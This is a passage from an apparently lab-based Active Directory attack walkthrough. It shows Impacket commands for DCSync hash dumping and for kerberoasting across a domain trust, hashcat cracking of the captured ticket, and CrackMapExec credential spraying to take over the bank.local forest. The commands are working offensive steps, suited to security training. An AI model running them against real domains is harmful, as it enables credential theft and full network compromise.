<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fro9u6Oxa9Q7XAUpKc6Xv%2Fimage.png?alt=media&#x26;token=3b5a773f-efad-43ae-89e6-cb5f311dc433" alt=""></div>

6\. The last step is to run Secretsdump.py to run DCsync and retrieve all the domain account hashes using the computeraccount:

```
secretsdump.py 'secure.local/dc03$'@dc03.secure.local -hashes aad3b435b51404eeaad3b435b51404ee:ba6414d4e6ce546465b256950282c7f3
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FicjUtqI7aDbTm2Xv5Z4t%2Fimage.png?alt=media\&token=6c417d64-fbd7-418c-9236-44c39c1e8916)

7\. We retrieved the Administrator hash and can authenticate as `Domain Admin` to the Domain Controller `DC03` of `Secure.local`.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F5Lrea4YCORBUBS3prV0Z%2Fimage.png?alt=media\&token=294b62a0-794c-49e1-9921-94f520eb4b59)

### 13. Kerberoast

**Task: Check for interesting user attributes across the trust to `bank.local`.**

1. Use these credentials with [GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket and kerberoast accross the bidrectional external trust.

```
python3 /opt/impacket/examples/GetUserSPNs.py 'secure.local/Administrator' -dc-ip 10.0.0.2 -target-domain bank.local -hashes :a59cc2e81b2835c6b402634e584a8edc -outputfile kerberoast.txt
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FxNM71dTCnehpZ2r6ieUO%2Fimage.png?alt=media\&token=149cff56-acd4-49bc-950f-8b605e8550cd)

2\. We retrieved one hash. Lets crack it with Hashcat.

```
.\hashcat.exe -a 0 -m 13100 .\kerberoast.txt .\wordlists\rockyou.txt -r .\rules\dive.rule
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FcmMk231mxPYIFACxzmML%2Fimage.png?alt=media&#x26;token=59195ffa-3290-49ee-a063-cb95981d0e12" alt=""></div>

We successfully cracked the password of the user `sa_admin`, the password is `Welcome123456!`

### 14. Take over Forest

**Task: Take over the `bank.local` forest.**

1. We can spray these credentials with CrackMapExec to check if we see a `Pwn3d!` on both of the Domain Controllers `dc01.bank.local` and  `dc02.amsterdam.bank.local`:

```
crackmapexec smb 10.0.0.2 10.0.0.3 -d bank.local -u sa_admin -p 'Welcome123456!'
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FvCWrIh3j6ROJX0bwmMdJ%2Fimage.png?alt=media\&token=756d6fdd-58f8-4fbe-b24c-5bc3a43b5131)

We successfully owned all three the domains!

## Cleanup

Set back the SQL server xp\_cmdshell

